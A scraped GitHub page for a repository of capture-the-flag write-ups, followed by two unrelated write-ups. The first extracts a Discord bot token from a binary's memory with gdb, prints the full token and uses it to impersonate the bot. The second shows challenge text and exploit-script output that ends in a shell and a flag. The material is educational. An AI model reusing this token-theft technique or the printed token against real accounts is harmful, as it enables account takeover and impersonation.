1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/mrajabinasab/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>DCTF 2021<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>DCTF 2021<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/DCTF%202021" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/mrajabinasab/CTF-Writeups/file-list/main/DCTF%202021"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>DCTF2021 Writeups.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
## Discord PingPong Category: web ![pingpong](discord_pingpong.png) Discord PingPong challenge was a great challenge and i loved it very much. Here is how i managed to solve it. In this challenge you are provided with a binary `discordbot`. Which implements an actual discord bot.When you run it you get:```joe@system:~/Desktop$ ./discordbot Successfully connected to Discord APILast message in #general is: Welcome to our secret server! Only trusted bots and users have access to the secret channels. Our secret plans have been moved from here to a secret channel.Bot is now running. Press CTRL-C to exit.``` So we have been given the actual bot's binary! What can we find in that binary? Usernames? Passwords? Tokens? Debugging time! ```joe@system:~/Desktop$ gdb ./discordbot...gef➤ rStarting program: /home/john/Desktop/DCTF/discordbot [New LWP 9181][New LWP 9182][New LWP 9183]Successfully connected to Discord API[New LWP 9184]Last message in #general is: Welcome to our secret server! Only trusted bots and users have access to the secret channels. Our secret plans have been moved from here to a secret channel.Bot is now running. Press CTRL-C to exit.[New LWP 9185][New LWP 9186] Ctrl+Z <= pause the program...```The first thing i searched was for usernames and tokens using the `grep` command in gdb gef. ```gef➤ grep "username"[+] Searching 'username' in memory[+] In '/home/john/Desktop/DCTF/discordbot'(0x6bf000-0x91c000), permission=r-- 0x6c3829 - 0x6c3831 → "username" 0x6d35ef - 0x6d35f7 → "username[...]" 0x75da5d - 0x75da94 → "username/passwordjson: Unexpected key typejson: un[...]" 0x75e4c9 - 0x75e500 → "username/password%s Failed (%s), Retrying...363797[...]" 0x7614f9 - 0x761530 → "username/password versionleafCounts[maxBits][maxBi[...]" 0x763f6b - 0x763fa2 → "username/password authentication failedx509: faile[...]" [+] In (0xc000000000-0xc000600000), permission=rw- 0xc00006b651 - 0xc00006b688 → "username":"Totally a secure Discord bot","mfa_enab[...]" ; Interesting??? 0xc0003359c0 - 0xc0003359c8 → "username[...]" 0xc0003359d1 - 0xc0003359db → "username":" 0xc0003359e1 - 0xc0003359eb → "username":" gef➤ x/s 0xc00006b6510xc00006b651: "username\":\"Totally a secure Discord bot\",\"mfa_enabled\":false,\"id\":\"838867008127893545\",\"flags\":0,\"email\":null,\"discriminator\":\"8463\",\"bot\":true,\"avatar\":null},\"session_id\":\"07b7a5f1fa591540510acc0576469708\",\"relationships\":[],\"private_channels\":[],\"presences\":[],\"guilds\":[{\"unavailable\":true,\"id\":\"838867536220127303\"}],\"guild_join_requests\":[],\"geo_ordered_rtc_regions\":[\"europe\",\"russia\",\"india\",\"southafrica\",\"us-east\"],\"applic"``` `username:"Totally a secure Discord bot"``id:"838867008127893545"` As we can see above we found the bot's username and his client id. But unfortuantly we can't invite the bot to our own server because is registered as non-public bot. So we have to find another way to interact with it. The next thing i searched was for tokens, if we manage to steal his token we can log in as we were the bot! ```gef➤ grep "token"[+] Searching 'token' in memory[+] In '/home/john/Desktop/DCTF/discordbot'(0x6bf000-0x91c000), permission=r-- 0x6c0eeb - 0x6c0ef0 → "token" 0x6c19d8 - 0x6c19de → "tokens" 0x6c5df4 - 0x6c5dfe → "tokenError" 0x6c5e01 - 0x6c5e0b → "tokenStack" 0x6c5e0e - 0x6c5e18 → "tokenState" 0x6c732c - 0x6c7331 → "token[...]" 0x6c95d3 - 0x6c95e0 → "tokenValueEnd" 0x6c9799 - 0x6c979e → "token" 0x6cd72f - 0x6cd740 → "tokenValueAllowed" 0x6cf246 - 0x6cf24b → "token[...]" 0x6d0eab - 0x6d0ec0 → "tokenPrepareForDecode" 0x6eaf08 - 0x6eaf28 → "token""; MFA bool "json:"mfa"" }" 0x704da5 - 0x704dd5 → "token""; SessionID string "json:"session_id""; S" 0x7583b2 - 0x7583e9 → "tokenfloat32nan2float64nan1float64nan2float64nan3g[...]" 0x75f45f - 0x75f496 → "token too longcrypto/aes: invalid key size crypto/[...]" 0x760ce5 - 0x760d1c → "token after slashnon-Go code disabled sigaltstackn[...]" 0x76384e - 0x763885 → "tokennet/http: invalid header field name %qruntime[...]" 0x766929 - 0x766960 → "token. %vbufio: writer returned negative count fro[...]" 0x767c35 - 0x767c6c → "tokens without progressingchacha20: internal error[...]" 0x76b183 - 0x76b1ba → "token was not a bot token. Please add "Bot " to th[...]" 0x76b197 - 0x76b1ce → "token. Please add "Bot " to the start of your toke[...]" 0x76b1c5 - 0x76b1fc → "token. https://discord.com/developers/docs/referen[...]" 0x76b215 - 0x76b21a → "token[...]" 0x7e5d93 - 0x7e5d9f → "token.length" 0x7e5dc9 - 0x7e5dd5 → "token.offset" 0x7e85f8 - 0x7e8602 → "tokenEqual" 0x7f0ef7 - 0x7f0f08 → "tokenValueAllowed" 0x7f0f22 - 0x7f0f2f → "tokenValueEnd" 0x7f1037 - 0x7f104c → "tokenPrepareForDecode" 0x7f8aab - 0x7f8adb → "token""; SessionID string "json:"session_id""; S" 0x7fb123 - 0x7fb143 → "token""; MFA bool "json:"mfa"" }" 0x803a7e - 0x803a86 → "token.go" [+] In (0xc000000000-0xc000600000), permission=rw- 0xc00001ac4e - 0xc00001ac56 → "token":"" 0xc000070e4e - 0xc000070e85 → "token":"Bot ODM4ODY3MDA4MTI3ODkzNTQ1.YJBVyA.zTQk10[...]" <== Bingo!!! 0xc0002ccb38 - 0xc0002ccb3d → "token" 0xc0002ccb41 - 0xc0002ccb46 → "token[...]" 0xc0002ccb49 - 0xc0002ccb4e → "token[...]" 0xc000335aa8 - 0xc000335aad → "token" 0xc000335ab1 - 0xc000335ab6 → "token[...]" 0xc000335ab9 - 0xc000335abe → "token[...]" gef➤ x/s 0xc000070e4e0xc000070e4e: "token\":\"Bot ODM4ODY3MDA4MTI3ODkzNTQ1.YJBVyA.zTQk10ZIQpMfT_Evi00sAkt5KIA\",\"properties\":{\"$os\":\"linux\",\"$browser\":\"DiscordGo v0.23.0\",\"$device\":\"\",\"$referer\":\"\"," ``` `"token":"Bot ODM4ODY3MDA4MTI3ODkzNTQ1.YJBVyA.zTQk10ZIQpMfT_Evi00sAkt5KIA"` Bingo!! we found the bot token! With that token you can impersonate the bot. This token is equivalent to a login cookie but for discord. You can interact with the discord api as the creator's bot. There is a patched version of discord which makes the login process more much more easy. https://github.com/Flam3rboy/discord-bot-client Downloading `discord-bot-client` and sign in with the above bot token: ![login_screen](discord_client_bot_login.png) ![logged_in](discord_bot_general.png) ![secret_plans](secret_plans.png)
```telnet - 500pts - 0 solves - Author: rekter0 I've setup my raspberry to control it remotely, i've made a secure telnet service for this purpose,Can you help me spot any vulnerabilities ? Mirror 1nc telnet.2021.3k.ctf.to 8080 Mirror 2nc telnet2.2021.3k.ctf.to 8080 Mirror 3nc telnet3.2021.3k.ctf.to 8080 Attachment Notes:- DB is same on remote- Remote is running on real ARM device, given qemu emulation in attachment is only for testing/debugging, a reliable exploit should work on both envs Hints1. i can union select (it's a pwning challenge, dont go crazy with requests, DB is already given with challenge files, its same on remote)``` ```$ python3 sploit.py [+] LIBC_BASE 0x76dc9000[+] STACK_PTR 0x7e850018[] BINSH_STR 0x76ef4b6c[] SYSTEM 0x76e019c8[*] GADGET 1 0x76ea39c0OK > > ls[...][...][...]2aa$/bin/sh: 0: can't access tty; job control turned off$ cat flag.txt3k{sql_and_fmt_whyyy_8364349278372}$ ```
